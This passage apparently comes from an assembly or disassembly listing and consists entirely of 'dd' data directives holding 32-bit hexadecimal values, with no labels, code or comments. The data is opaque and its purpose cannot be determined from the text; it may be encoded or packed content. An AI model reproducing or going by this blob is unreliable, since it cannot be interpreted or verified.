0F848B1CBh, 0F2BF5120h, 0F4291344h, 0E644BE3Fh, 46BE8218h dd 417F2204h, 21BA444Ah, 0D86B5E5Eh, 32DF580Ch, 0D5FC7FD6h dd 184989C9h, 5F6282E0h, 0E1188A7Ah, 3C70084Ch, 15AA0EE6h dd 9CDE7671h, 66101826h, 0E7BF5EF0h, 5A8CA072h, 0E25AE4D3h dd 39BF915Eh, 46EB2E01h, 0EB287646h, 4A605EBDh, 0A1C5259Dh dd 0C1ECEE80h, 38E9FA7Ch, 0EA4B69BCh, 0ACF3D299h, 206899B0h dd 0F4B70574h, 4BE9C72h, 0B0411126h, 0D35FF71Ch, 806B418h dd 4F5F33E9h, 6197ED6Dh, 0F3898F83h, 748204E9h, 88FCC66Ah dd 1084F148h, 0BF0235B3h, 6AA11D1Bh, 0C7FA88E0h, 31263E02h dd 76B6E9FDh, 68580347h, 951C0F23h, 0DC2F19B4h, 8568D099h dd 0F49DFBB2h, 0E92F54B2h, 0B527D86Eh, 0EDBB2438h, 0F2BE19CBh dd 0E36CB277h, 0E9A0C878h, 4C971C42h, 393F2058h, 87C58016h dd 50E53004h, 1F30E317h, 8A49D389h, 6261562Fh, 0B2D97D82h dd 28D6F627h, 0B8BA4048h, 0A6096924h, 812B8025h, 2916E0CBh dd 8B631370h, 421245D2h, 7C0B7759h, 887EFCF8h, 916941Dh dd 0EDEABA40h, 9F13A746h, 472FE82h, 0A290B8E6h, 5864E282h dd 0D142B02Dh, 1D0A8245h, 5B776323h, 820C20B2h, 0A037FC08h dd 0FE5E9F1Ch, 6D52C596h, 0CBB8F4EFh, 2F4D6E49h, 0A44571EDh dd 9A50AD9Dh, 0EAE72D60h, 7B6A8D4Ch, 552B2E6Ch, 0B1056F43h dd 3F34BA60h, 0FBE1EC4h, 67EC80DEh, 0F4BD0106h, 868639B1h dd 28DCB050h, 3324697Eh, 0F6AF48E5h, 39A303BAh, 0A4163563h dd 8812E125h, 134241B4h, 0B1677674h, 0BB070494h, 908B7C0h dd 50125E53h, 0F13BBB41h, 0E6E20114h, 6D64E106h, 0E9064CEDh dd 61C80DE6h, 2FB40B24h, 0D104C7E3h, 78CFAFFFh, 0AFF68C17h dd 4C4224CCh, 89A29D4Fh, 0B2206D50h, 3F6818A5h, 620D4351h dd 109D2F9Ah, 5A7768CAh, 0DDD1DC53h, 0BD003841h, 5E437AD0h dd 186851Eh, 27F2529Ch, 0D08E3A44h, 179AE5Ch, 0E44891CEh dd 3BDEE90Eh, 5795A917h, 0FEEAF809h, 20B0E9ABh, 2F5664E9h dd 14F610F4h, 718BB02h, 566D01h, 599DB620h, 0C22469D6h dd 0CB16EF1Fh, 6905D160h, 4DD91D7Bh, 0AE968240h, 0BA4AABF7h dd 2A012441h, 804F8BE2h, 0F8B850EDh, 5D185501h, 76155C0Dh dd 0A48C57Fh, 89A065FFh, 6B505FFDh, 47C525A8h, 50BAD4EDh dd 338E4D17h, 9FBD97A0h, 14D7118Bh, 6C82B503h, 94F56411h dd 3D0120F0h, 0EE774E7Ch, 0CCA2464Ah, 0D0F3B307h, 32C293EBh dd 0FAC05D2Eh, 0F381DA13h, 0B82F9468h, 5CC5C1AAh, 0EF2B35A6h dd 0CCE93921h, 0BD019628h, 1CEB7FBBh, 0FEF82E09h, 0AC17B13Dh dd 0E963C074h, 7BBA871Ah, 5D93FFB4h, 0C6D47F1h, 8EA5E90Ah dd 8254A5FDh, 9069684h, 57D79CD2h, 0F15B4F7Ch, 0BC3468B7h dd 0C2F8E55Dh, 0E80B4A0Eh, 8C563DE4h, 1A69F7BEh, 6A5C31EEh dd 0FA03800Bh, 89200158h dd 63BB0138h, 877C3132h, 9CC37BD3h, 81908D36h, 0B2304858h dd 16EE7AF3h, 0E0FCDAEDh, 29255DE4h, 0B95980CDh, 0EF2B8F18h dd 0D2E0A33Fh, 0C113E9F2h, 0DB5DF920h, 66F08531h, 5AF2F4CBh dd 0AD01AA21h, 1BE0577Dh, 5061604h, 0EB75441Bh, 5579C8F2h dd 0ED3F9240h, 6A9C410Ch, 57A2BBE9h, 6F1107C1h, 553226B2h dd 4F07E15Ah, 7D8EA3F2h, 791B51Ah, 39082A51h, 0D7280168h dd 0CAA52C5Ah, 90ECBC43h, 485DBFEAh, 122A6A24h, 424D0D03h dd 8F7B00Eh, 467D2F10h, 84BF6B5Eh, 0EB65BE80h, 0E5D19691h dd 0B26F5ECh, 31BAC55Ch, 0CE0815F1h, 0AF5F1379h, 5ADE198Ch dd 0A64EFD5Bh, 0F1469D0Ch, 21F905B5h, 0E9A888AAh, 5A569438h dd 8F8C27ABh, 0A6AE9269h, 0AB2AAFA5h, 40ECF828h, 0B20F5206h dd 44C2FEFBh, 28AAD69Fh, 7C0BEAA9h, 42AF555h, 0FFE5D0C4h dd 0FCE0FFD9h, 0B374BFB3h, 4291F669h, 796C7D41h, 82DE272Ah dd 0A00FD980h, 94548082h, 0EC4D5A1Fh, 35B204C6h, 0EB895D02h dd 31E94300h, 954B3D73h, 5C49A6F9h, 61BC08E6h, 28FB0196h dd 564B5A00h, 0DD0DAEBh, 0C59620E9h, 4A52B342h, 5940FD6Ch dd 0C8240697h, 20004554h, 89B9CB01h, 99E913EFh, 6772EEBBh dd 2061F831h, 0BE050BA9h, 719932D4h, 2F7DB5A8h, 35DA3B03h dd 772F1DECh, 3FCAF40Bh, 42D0E713h, 58742C40h, 7344AE48h dd 0E978C904h, 45FAD2A6h, 0B93EDD8Eh, 9DBFC0BBh, 9DEED3D8h dd 89C93DF6h, 836A42D0h, 536E419h, 7BDECB3Dh, 0EB71C0D1h dd 0DA062403h, 15C4E96Ah, 5BB96E2Eh, 77ED891Eh, 0B58BB075h dd 43688025h, 23BC704Bh, 0D05E4AC9h, 7D04FF42h, 2AA447DBh dd 41127717h, 50E7EA15h, 35F0F86Dh, 2CAF3E5Fh, 559A43F7h dd 440DA2A0h, 32525A2Ch, 92E3C10Ch, 0D8744F95h, 41644A47h dd 13BBF43Dh, 959DBAADh, 5928D6F9h, 0A72D583Bh, 0C05AD9E0h dd 53079390h, 0F380F1B3h, 0B05E48Fh, 0CD40A8F7h, 81578299h dd 3A1A0D3Ah, 985DD624h, 0C2F2353Ah, 3E8B81D3h, 80FC7A52h dd 0A81E08D3h, 0A6AA5D12h, 68086379h, 70A2B436h, 9272F150h dd 255E7FD7h, 62D927CFh, 0D57E2FBAh, 19172918h, 1CBC8BB9h dd 552F0AB0h, 5F4AFDB4h, 17DE8EAAh, 67B9657Eh, 37D30186h dd 0CB9E2DFEh, 50530242h, 7E840B35h, 55E1D6Eh, 80525C58h dd 3F5F56E9h, 0C2AF21AAh, 0C6047F58h, 0A0E4535Eh, 1481D2FDh dd 7D1FA4C3h, 0A948962Bh, 0F2D0287h, 5743F971h, 0B72C6F7Eh dd 26216907h, 7477D952h, 48A788DFh, 2BE58007h, 1C6297E3h dd 0B66F7DBh, 0C2D62931h, 0B273E482h, 572460F4h, 0EBA2D6Ch dd 88285DAh, 0C66A23C1h, 0C62FEBD2h, 7AEB5427h, 4ACD2060h dd 1335C0Ch, 4A9F30F7h, 359838CCh, 89651A00h, 9CA22D0Dh dd 0F67EB054h, 7CC5BF4Ch, 2D84B512h, 0EF5A4DE3h, 28F44B31h dd 2FC58581h, 606FD018h, 8E16BE5Dh, 17FAB05Eh, 7E89FF78h dd 0D2DEB3Bh, 952FE662h, 67684881h, 0AB6C2F1Ch, 0BF3E40B1h dd 2A5D4E0Bh, 2C7F812h, 3780F381h, 89758C0Ch, 1C3784E3h dd 686B23FAh, 58294ACAh, 6A9701F7h, 54E93C9Bh, 14276F64h dd 25221183h, 0B74EFB7h, 45AC058h, 0F5E90645h, 0F8CAB516h dd 1B5CC733h, 0B76E04CFh, 44EEABD1h, 10362D70h, 0BE1313D3h dd 6A2ECECh, 3312B776h, 4454A7EBh, 0BAB2C093h, 5B77BE12h dd 9FEC017h, 0A3C151A9h, 0F511205Dh, 6856B004h, 55A0894Ch dd 127C07F7h, 93C114DBh, 0F8A2E907h, 0F033B803h, 20D131Fh dd 4022321Dh, 0D657E0D1h, 0F5054375h, 4C366B9h, 438D9001h dd 0BB427241h, 580781C7h, 31E8F801h, 48B27C5h, 8B6917F7h dd 44D7E073h, 0F519F211h, 0B0FF5B6Eh, 0B9249084h, 503D35E1h dd 62251334h, 963675BBh, 312E0A94h, 0C61753D8h, 0E834CDAAh dd 23BAFCF1h, 70028781h, 98B76DE7h, 0B22E562Ch, 0EED17688h dd 0EFEFF413h, 0F62AF132h, 0ED5B5BE0h, 0BA7C73B9h, 4E4D0E25h dd 15D9FD8h, 0BDE9A475h, 0ED812180h, 4A2038A9h, 602B4EB7h dd 0FCC12361h, 847BA493h, 293FDE2Ch, 1F16C6A0h, 65EE408Bh dd 1019829Fh, 0FF5805h, 6BADC957h, 4CC107A7h, 41880C93h dd 1280AA35h, 30E431D7h, 8BBCCA89h, 19AC16C3h, 0EEC20984h dd 0BD5964DAh, 794E54EAh, 9D7543FDh, 6497D679h, 8902DC09h dd 55DB6282h, 0C40656Ch, 0CC2D5FDFh, 0C8BDACCEh, 4BE9D920h dd 1B581CDh, 0E4D552D8h, 0F6010C71h, 28F568D9h, 0CDB62150h dd 8C63F80h, 450ADEB7h, 0B9BEA030h, 25052349h, 1B9D4D6h dd 704063EBh, 0E41E6F7h, 44302A6Ah, 27692AC9h, 92F15ADCh dd 76D01402h, 566355AEh, 10BB59Dh, 0ED241BBEh, 41CC2048h dd 8019209Dh, 0BD2B3B68h, 72F78A68h, 889F3A32h, 0CFF060F9h dd 6DC95C2h, 6A9F00CBh, 0BD521858h, 804CECAh, 65B2FB5Fh dd 93EFC87h, 0C0FC655Dh, 398D94C5h, 55D0AC50h, 0A5BB2ABCh dd 9104FD0Bh, 8DCBFFE2h, 2998984Bh, 0A55D54B7h, 0E9F84976h dd 9AAD4850h, 0C6D4BA9Ah, 5FB11D65h, 0B501ED3Eh, 0ED6D3CE4h dd 9CEE432Fh, 0D676D74Bh, 11D40D16h, 0BEC7AA00h, 0B0288560h dd 82B89835h, 44D508h, 755DBD3Dh, 0A5707A65h, 8385CB0Bh dd 71AA86h, 0B050E37Fh, 0CC0FE7Ah, 34086F60h, 61C32806h dd 0F052CA58h, 3DFB2FFFh, 34F93BE5h, 16251E1Dh, 0BBE1A3Ah dd 67E928C0h, 56C4460h, 75D73B5Fh, 7DC10027h, 0B9510811h dd 77240160h, 59024119h, 7D3D575Ch, 0B848185Ah, 0FA0C3F4Eh dd 2E17F90Ch, 2D270C16h, 0A100BB3Ch, 185CF0E1h, 5433899Fh dd 6994C247h, 0C7F61877h, 360E2D49h, 2B01EC40h, 98CAFE80h dd 1485593Dh, 5D00744Ch, 20BB530Eh, 95F3A1Fh, 5F40D6C2h dd 800101DCh, 8E7C13Ch, 4BD8E27Ah, 12EF8CE4h, 0F19E71CDh dd 0ED3F2009h, 0D81F764Ah, 5A3DD910h, 8CBBFCEh, 47D8E917h dd 2FE530EDh, 86D5F6A3h, 0FED4080Fh, 0E9DC01C4h, 0CA7F556Eh dd 35EB02D4h, 83EFCBBEh, 2B0A0F6h, 225CBB4Ah, 1EE01AA1h dd 82EB0360h, 1391E30Ch, 493C410Ah, 1605842Ah, 925BA3EDh dd 0BF703BA8h, 8F5DD0CEh, 7D1F5C21h, 7E1A6302h, 7575EA68h dd 0D5768398h, 261D86A3h, 5885552Eh, 0AA01F929h, 62D414BCh dd 13726F20h, 0BEF55D40h, 0B6ADF912h, 3686EE80h, 0CEFE46AAh dd 8818C90h, 0AE67F59h, 2D549670h, 0AC54E356h, 8CE925E6h dd 10FD0909h, 823C0895h, 2F2F975h, 78795785h, 0B0497675h dd 3149AE7Eh, 4042712Fh, 5C54E89Dh, 0F2029390h, 7DEEE3E4h dd 7017E902h, 15041D60h, 32C9D28h, 0AFB75366h, 81D471D3h dd 70E317h, 3036C3B9h, 59F64785h, 86A2EE29h, 0E95D0B03h dd 2DEAF7CAh, 78C7DE57h, 5F81C944h, 0C439BA3Bh, 28228322h dd 403FE92Dh, 60FA0833h, 803EA25Bh, 0C7E655F7h, 18205F35h dd 0E9710C80h, 48B04133h, 754535C1h, 0EB045EA6h, 7ED61CC0h dd 0DF7D542Fh, 19577ABBh, 0DCEC5A01h, 0AE70125Bh, 4E1C4576h dd 35E1837Ch, 4A1B7AF0h, 3EFBBEF4h, 604578D9h, 0E9E5DCFAh dd 246ED159h, 111C8D5Ah, 803E6D09h, 6248D053h, 0B389857h dd 3472494h, 21121AD6h, 1DB435B8h, 0C3609FF8h, 0EB41E940h dd 2CB0584Ah, 3A9A413Eh, 68571100h, 7EEA8F31h, 7499381Bh dd 7838FE4Eh, 5F4E609Ch, 0B65165EFh, 0C02EF2C9h, 4A4721E4h dd 0AD3DEF1Ch, 70895932h, 0CA0B2452h, 87AD2C79h, 28882369h dd 0E0F604E6h, 0AA634F8Dh, 0D4B7B705h, 0BE406C8Dh, 4B6046A8h dd 8EE5032h, 517ED946h dd 79ECB4C6h, 8166000Fh, 2D6FA4E7h, 0C7488365h, 9DCF1FD1h dd 707C1E89h, 0C0D173B2h, 0B77F6FE6h, 0FE0B29EBh, 5163D5E9h dd 0EA5397E2h, 0B321468Fh, 1320C508h, 0EF37D5B9h, 54081FF5h dd 0A1B349E9h, 80595827h, 53C6762h, 99B8052h, 304E8C0h dd 0C688432Ch, 0C06A89BAh, 661358C2h, 9C0E8052h, 0C45ACE01h dd 98EE0ACAh, 0E916D854h, 7AA22161h, 0BCA4513Ch, 0EA4EBB17h dd 0E85AFA9Fh, 39B4C3A8h, 80579850h, 3B3D73ECh, 0EB166CC4h dd 0DDF61EB1h, 0AE5852C3h, 0A12B17E5h, 0C8C0295Eh, 0B059121Ch dd 680050D5h, 7B5179Fh, 1ECE0558h, 0C9406F5Ch, 56195E42h dd 0F5A8852h, 0E58100D3h, 7FAE1B18h, 2375695h, 4697DBFDh dd 2C13FA75h, 0B1D0BAE9h, 27F803Ch, 0CBFAD531h, 538CAD25h dd 0FB6697A8h, 0A13E0199h, 3E4D32ABh, 5E1CE787h, 0B3D407C4h dd 0C42FE3BFh, 44B1B6E9h, 840ECA6Eh, 0ECAAF01Ch, 1045A521h dd 9DBBDF5Bh, 42457A7Dh, 73EE5D54h, 0AEAD3222h, 417E5498h dd 0EFAF2014h, 1F4D9BF0h, 87F82815h, 86842C4Eh, 0B301A2FAh dd 0B6AFB43Ch, 57A394FAh, 0EAE15B21h, 0A011EC2Eh, 0FDD25ED6h dd 0F6F94A20h, 925963CDh, 28051A7Ch, 0EC885EB5h, 3CC0082h dd 8AB95455h, 0C2D38550h, 0B4C128B5h, 5801B340h, 72F5DE89h dd 0FB2924F3h, 16931021h, 1DBF032Ch, 79943DF7h, 81A5AECDh dd 5422E70h, 8605B712h, 45AB1FA5h, 0BB3DB921h, 973B13DDh dd 2916568Ch, 8268563Ch, 5E7C303Eh, 5FFC5552h, 54F4BA81h dd 0E56019D2h, 65A0232h, 2E2C108h, 8E8CA662h, 6212D23Eh dd 380B1174h, 0BECF60B1h, 0BA2D13ECh, 42931C6Fh, 89E4EB31h dd 0C2B2C6C3h, 0F258F3FCh, 133023Ch, 0CE0BE974h, 0BB244FFAh dd 6889D778h, 40A45F2Bh, 0AF06946Fh, 0B4A89C65h, 2C80B673h dd 0C5C20142h, 68A33EA4h, 37B64BCFh, 0BE51894h, 0F764EF53h dd 39745E4Ah, 20D98FC0h, 340BE96h, 683D5D5Fh, 0C3760C07h dd 29B4F658h, 0DC28F491h, 0BCD79762h, 881510E4h, 17325D24h dd 4F38AA5Fh, 3F3425E9h, 22EEF752h, 7F924A16h, 0DBB0CD01h dd 1F3EF7A7h, 80A08B6Fh, 0F82A79D9h, 971290BDh, 4A42B433h dd 0E75A09C0h, 0B18FD355h, 3F4139FAh, 558075E2h, 5D38B850h dd 89226717h, 0C0751CFFh, 6913094Bh, 0BB0B534Dh, 7021DAh dd 437CC3ACh, 724B816h, 8F6C38E3h, 9EF3C34Dh, 8F442CB9h dd 2F7F150Ch, 93EB8053h, 0E7F75CE9h, 5E7B47E9h, 52D893Bh dd 48F65DCEh, 38681C40h, 0BF4A0E02h, 0A01748CFh, 4955D56Ah dd 16DF5DADh, 54E32FCDh, 1762BC54h, 93A2DBAFh, 23E2AA59h dd 6FE18DA1h, 0B4A3DF75h, 0B7BA5201h, 2027142Dh, 6D003D86h dd 0D1292BCDh, 0BDA2EFE9h, 31C172F4h, 5C898FC3h, 0F9FE1CD4h dd 0AB705D79h, 5750802Bh, 65B4F79Dh, 0B059659Dh, 6F359698h dd 95E96A17h, 1BE3DC4h, 43C7804Ah, 6F35A868h, 0B18A36CBh dd 56686D2Ah, 0AD1D5A26h, 75129550h, 0CF011ADBh, 3B2DDA13h dd 7B56AF3Bh, 0F8F9020Bh, 0F8212D9Eh, 0B4331C75h, 0F6E9F139h dd 2052DD49h, 8147CD2h, 7BA6DFEh, 313F533Ch, 0EC5C8166h dd 48E27832h, 741685Ah, 9B6FDA02h, 0A9C885FFh, 8A59BD88h dd 9BC058A7h, 5B458986h, 68524018h, 0CA26C304h, 0C3B85A28h dd 8860B216h, 35276849h, 2836181Eh, 3C372F0Dh, 0F38AD0Fh dd 0E91BF529h, 0A9984986h, 0FD2E1BD7h, 0CAA2CAE6h, 21C7B4BAh dd 85F9E6FBh, 89EE6F20h, 823642FDh, 7D2CB102h, 88CF1FA0h dd 0D19659CAh, 0FA30EF04h, 0C9A0C1AFh, 0BF2E95D5h, 2B5A84C3h dd 85E934C0h, 24EAB72Dh, 908B2BDCh, 700ED6D1h, 521651B4h dd 1DAE50B2h, 97B0120Ch, 0E9D40029h, 3CD6F247h, 552C59A6h dd 1A291A7Eh, 50C4D77h, 0D0CF61E9h, 0D6686688h, 0A230787Ah dd 0A8CC397h, 1D2E4874h, 0D454A905h, 0F3B4AE41h, 6B4613A6h dd 0C55CBB11h, 268A88C0h, 0B0F8098Dh, 0E092AAh, 0C5474CB9h dd 58E18177h, 1F412705h, 0E501D9F7h, 68F06EA4h, 91E1463Fh dd 8F2368Ah, 0EAFD254Bh, 95D2EDB2h, 2EFB7590h, 0FCFA20BAh dd 4D3C1D06h, 7F80DB89h, 4F264976h, 8135003h, 0EE5E592Fh dd 55FB0269h, 0BEBF0593h, 0B865CAF1h, 9A31FE2Ah, 7E626356h dd 69E6C187h, 6D7C6F5h, 0D00DF4CEh, 0B20C0C4Eh, 242D8843h dd 4A5FE86Ch, 5601FF1Eh, 0AE35BDE7h, 29B9C0E2h, 21B11337h dd 0D20512E9h, 0F95FC243h, 1AF264F3h, 408E54CCh, 802DB151h dd 0A4D7C939h, 0E10B90C1h, 2ED0A737h, 16956A73h, 0AAEF0130h dd 55FA0D1h, 7BC9AC6Fh, 0DEBCB998h, 28EDCF88h, 0EE3C4C15h dd 48B909D2h, 0C263E6DEh, 0EA5B17F3h, 446565Dh, 30C30C8h dd 0C359FC04h, 0A340ED2Ah, 0C8618CF1h, 66C99720h, 0D0122A25h dd 327E7FB6h, 211619E5h, 7ED2F077h, 1C70108h, 8AE9DFF7h dd 0CA559F11h, 0F0188Bh, 0A3FBF29Eh, 892C0EABh, 57ABE9D0h dd 0DE0A02Eh, 5F153AC5h, 3E8C117h, 0FA2994BAh, 5C8657CAh dd 0A39FAC55h, 0B751E048h, 7F6D7992h, 8B88B645h, 77006F38h dd 0E9522DFBh, 0CFC13E4Eh, 5A2020BAh, 0D5749D04h, 2B73C281h dd 0C9300C3Dh, 0C7291F3Bh, 0E9D88215h, 6A64818Eh, 0A7C47EB7h dd 0A72CC777h, 13E9F021h, 788873CEh, 5D814B25h, 0E04B7565h dd 1A40BF85h, 3E014816h, 92B2462h, 2B5DAC86h, 0B22850F2h dd 195BEC26h, 4FD6774Eh, 2BAA49F2h, 0E4635D16h, 6C7764F2h dd 279392C2h, 0E23687Eh, 954A0A3Fh, 0EC1E4BACh, 5AE7CBD7h dd 286E4FB1h, 10B44EFFh, 7F3013BDh, 230AE04Dh, 0DD792964h dd 0E3C287EEh, 0AEB59745h, 807EAA1h, 5551AE72h, 8BD79AB2h dd 113C5F5Ah, 7A6A3FB1h, 6829C509h, 9B37AA4Ah, 9ECA872h dd 327D0A7Ch, 633685Eh, 0CF387903h, 8D3B4B0h, 0B3037E94h dd 0CA3AB1C7h, 0B0FDAD76h, 0CDDD4ACBh, 4A234043h, 6562A50Eh dd 0C2535A0Ch, 0C21F4276h, 34080D43h, 0D0E91400h, 7E929FDEh dd 0E61A46C0h, 0DDAF12DDh, 0B644248Fh, 1CDE9B7h, 1353178Dh dd 0BA8892Dh, 973A70DAh, 0B58B1CDFh, 0C02E22Bh, 15E61638h dd 0C06A70C5h, 59BA8CBBh, 7A536813h, 480060F3h, 81746C5Fh dd 4731B0EDh, 0B90896DCh, 60FD0101h, 0E00CC590h, 0C7E201Eh dd 0BE101FEDh, 3868FE4Bh, 25B92408h, 0EF5CC584h, 0E9121E8Bh dd 4563A03Dh, 995A290h, 765B5DD7h, 68C38061h, 0FFA20692h dd 0FB415CB5h, 8903B6F0h, 2E08E1D4h, 58B29CB8h, 4165F95Dh dd 8B434DE9h, 0C5CBFE0Ah, 0E4B6046Dh, 0D62386C0h, 0A05F6640h dd 2C6AD2F1h, 24B2CD0h, 728C7A50h, 480CB600h, 8989028h dd 468B3964h, 7A020424h, 0F4101F57h, 947F2F39h, 48F520F6h dd 7842A880h, 0ADF0B53Dh, 9D0BF8D5h, 70EE22DEh, 55220D93h dd 0B36420BBh, 25BFC55Fh, 8313BF69h, 61487FDEh, 1EA7D64Ah dd 7950AB0Bh, 0AAC180BEh, 50530828h, 0A0EB9429h, 5E5CE908h dd 0E0FF480h, 0AD20E641h, 4B7D1305h, 0F801AA06h, 113E797Ah dd 4082D3F5h, 74FC3048h, 0F8A24F64h, 7BE9157Ch, 0F4A0042h dd 0D2E96617h, 431D4096h, 76ECD889h, 2EDB60B5h, 45000CBFh dd 633FBA52h, 4A31571Dh, 8E8AAAD5h, 0E7F50976h, 5B89A24Dh dd 4295FAF8h, 0C21C5D84h, 6F961434h, 0E8B549BCh, 0E7F25AFAh dd 65464004h, 21548128h, 0FD88011Eh, 685B5D82h, 597413E2h dd 61EBE9C1h, 0DDE58801h, 0EB1C6F90h, 67CC85C5h, 0FCB88DBEh dd 8924203h, 7FABEB51h, 3919B1B2h, 925E70C4h, 0A34932B6h dd 0A422D7C6h, 0E25DA9EEh dd 0F7C2E057h, 0FD11FB30h, 7E847331h, 0E7C0A409h, 75F0DD03h dd 0E9C7FE04h, 6DD4D270h, 556581AAh, 0E0379D7Ah, 3D1C17BCh dd 634E7261h, 0DED6A86Ah, 0F43EAF89h, 25CE6257h, 76EBBD00h dd 0EC544A0Fh, 0CD81DDC9h, 21AC3CF2h, 65060C85h, 0BD68811Ch dd 48602A17h, 9B6EF368h, 41210072h, 0D5F75271h, 27584D66h dd 44E91813h, 0A72D62CAh, 4BFB451Dh, 0DDCCA542h, 7D8F570h dd 0C3C9EA04h, 45FAF729h, 30E4AB89h, 2CC96894h, 66201492h dd 560504CBh, 8012091Dh, 1C300147h, 5A77A5Ch, 0F415B13h dd 0A07D2583h, 9701B83Ch, 2D6182F1h, 0E0E357DBh, 0A305E801h dd 7A8FE007h, 84D6E999h, 39FB8B33h, 92B67E91h, 57812427h dd 3A427B68h, 0ED96B6B2h, 3D7F02FCh, 0D75B5870h, 0D11FF2E4h dd 68AFF6E9h, 1FE3B49Bh, 0BE01D9F4h, 0B83FAD97h, 855BA28Ch dd 8F50FBB2h, 387705A5h, 7BC0081Bh, 48C25FDFh, 92336764h dd 0AB2933Eh, 284FC3F8h, 0E7E80D1Ch, 59056BFh, 0AAE217E9h dd 26ECAD9Dh, 192E9F60h, 8F32D9FFh, 87E56AC7h, 1EAD816Bh dd 0EB5F8EB0h, 50C36559h, 8C68C5FEh, 8E246880h, 0C46C2B6Eh dd 0E79F4ADCh, 99257B7Eh, 0BF6C5590h, 0D1565C3Eh, 6F2A65E7h dd 59FB16B4h, 0DF3BAAEAh, 9DD398A4h, 6A11880h, 0E25B8841h dd 48B76828h, 830C328h, 0F7800206h, 0D7E9F60Ch, 1D5542E8h dd 1E765A68h, 495DCD60h, 3BDE2179h, 1EBF694h, 4C61C14Dh dd 0A3B40043h, 0D5EA4F27h, 8552BF95h, 296F1B09h, 0BA40758Ah dd 799D16B5h, 3DBE8D72h, 0EDA26B65h, 8079EB5Eh, 0AE04F2F1h dd 45F8C000h, 0EB891B94h, 31A1C83Ch, 769941C5h, 8F3915FCh dd 0BDCE3520h, 33F56EA0h, 7A60B560h, 4A8D880Ch, 0A197B2D3h dd 8D28584Fh, 5CB4ABD2h, 817C03FDh, 61DBE937h, 5FB8A32Fh dd 8F7D020Bh, 0D1CCAD1h, 0D96D5A00h, 0F68C2D28h, 884E621Dh dd 0B9001538h, 4B665DEDh, 4A4EA975h, 0B1F2FC4h, 617FEB0h dd 2098B8D1h, 0D7800A68h, 0E70A22EBh, 0BC896932h, 0A00E752Dh dd 0F9A01162h, 0C8031D4Ah, 904A4F31h, 0D4D361ABh, 14F40567h dd 0BD9F7BEEh, 6D0B45FCh, 53DAFE06h, 0CE661AF2h, 0C9D3D995h dd 0E9BA3057h, 3053419Dh, 0DF407FFCh, 25F40580h, 0AC742968h dd 0E9A6C1CAh, 8E3B44A8h, 24EC58DEh, 16109749h, 1D4F5925h dd 1290B12Ah, 32404A41h, 5BF24686h, 0D2495F25h, 47A3F032h dd 242ED195h, 3D1210CDh, 8B30985Ch, 1E5FBB0Ch, 8B4F6908h dd 0B6A0A049h, 5CCD763Eh, 6F0C35B0h, 8627F951h, 6079EEE3h dd 7B840C4Eh, 0D980265Ah, 611F245Ch, 8EF2023Dh, 0D9603B2Ah dd 4BBD055Dh, 296CA831h, 614F4ADBh, 3BF61043h, 8B76288Bh dd 7BF7957Fh, 0CAE1E4ADh, 53CE6F71h, 0C5207048h, 8A12294Eh dd 47F254AFh, 7724A004h, 0EBFE828h, 0C18107EFh, 6F953006h dd 227D2EA5h, 515B3589h, 5E36921Bh, 0EEDDE539h, 9668177Bh dd 0E672287Fh, 9D21184Eh, 0CB30C888h, 375B4B4Eh, 0B04B9555h dd 504AD63h, 362B1D40h, 59E1D881h, 813ED8h, 8C6755F6h dd 11B8E90Ch, 7FE66BC9h, 3AFF2CA9h, 5F364108h, 0A806F46Ah dd 53A5A15Fh, 0B46A7DDDh, 71F8F3F6h, 0C7F0F33h, 59FE95Fh dd 10E1E3F0h, 14AFA6Ah, 388464C7h, 0FF2AA4E9h, 52AFB352h dd 0ACA6A45Dh, 5D4D8B9Fh, 0E9063047h, 3792B51h, 162EC5C2h dd 4EB60147h, 0A2560882h, 445E3E02h, 80F8875h, 531D8A20h dd 0F7412C67h, 6D8668DEh, 1A3B306Bh, 305B8C3Eh, 885D2A5h dd 5265CFE9h, 88B2AFC4h, 1A720496h, 0C4AD0E79h, 0F8F85DE0h dd 0AC65D4B7h, 6EF84A5Ch, 0EB202508h, 20B2E94Fh, 7D390DB4h dd 0FB5F5FBAh, 0A9F81024h, 2464411Ah, 27BDE35Fh, 0BBDEE352h dd 8D5B64EFh, 0D1DD6ED0h, 0E58102EDh, 1AD50E68h, 34E8BC40h dd 0E9769109h, 0C2F42B40h, 0FA215D19h, 7ADE94F5h, 0F56AB7E1h dd 18A82E7Ah, 50785AE2h, 0FEE95116h, 0B5406CA0h, 0C06EEC70h dd 0C407AFAAh, 6802749Bh, 187559CBh, 0B3C3115h, 2E96582h dd 2D5EE158h, 17B813D5h, 693A0D03h, 0AFE85A8Bh, 705BF3D4h dd 14EF1CD0h, 2E10045Bh, 260CCE9h, 0DFCF295Ch, 2E5FF0C1h dd 680E78B3h, 0BE16759Bh, 785800CAh, 0C1016E20h, 685005EBh dd 5EFE2AADh, 0B4BB0933h, 81BB39F7h, 2528E4F0h, 0C2F70E9Fh dd 0C080AD9h, 0CE529E09h, 0D3F70BD3h, 0F025343h, 8BA011B6h dd 4F5B0710h, 58301F94h, 5B558C27h, 0C000BA99h, 0E6040CC3h dd 0EB871B4Ah, 4C4A0645h, 109042EBh, 0C640796Dh, 0BB12BF1Bh dd 8BBF31DBh, 76C52FB6h, 2F7EA6F6h, 70AF2354h, 91D02086h dd 2DF8D1BDh, 7F835822h, 0E044D455h, 365F95C3h, 6FF5154Fh dd 0F7C30804h, 4B34F6A1h, 0E5C592B1h, 0F8EEFAAh, 3C7E48FEh dd 0E7106FC8h, 0A96809D3h, 8005790Dh, 63AE50C3h, 67B223E9h dd 17EF5858h, 83494BADh, 48A56FAh, 0C0FE7095h, 2AA9F13Dh dd 7297EF27h, 57E8D95Bh, 0D0B062CDh, 2E5C00ECh, 0ECE932A3h dd 29CDB755h, 4FEF32Fh, 0FB2A6856h, 5A0764A3h, 851A1B58h dd 8EC282EEh, 0D096DD09h, 16C55B9Dh, 82DDC441h, 87090E97h dd 37076F3Ch, 20046BEFh, 3E1BBD5Dh, 0B229FA87h, 0F286129Fh dd 0E3B04EAh, 0EEC10556h, 1C679C0h, 10BB3F53h, 1079DF12h dd 0AA779F0Bh, 897C5FA6h, 68335A42h, 128FEBC4h, 17D166Ah dd 0D8442E12h, 0CCD43F19h, 0FD5B0809h, 76087C2Bh, 1E56A5C7h dd 8FF87BE4h, 51874A31h, 0EC0CA88h, 0CF5E35DEh, 0BA47AFA4h dd 0FBBF5B7Eh, 0B414661Bh, 8A14EA95h, 160E0090h, 0EFD8BD55h dd 54BAEDFDh, 14CE0079h, 6CD0CB81h, 0C2DE0A8Fh, 78856BC4h dd 6DB9493h, 6EFD5114h, 7509508Ah, 565FCB3Ch, 3F08A015h dd 80CC295Bh, 4ADBCA10h, 0C574D7BEh, 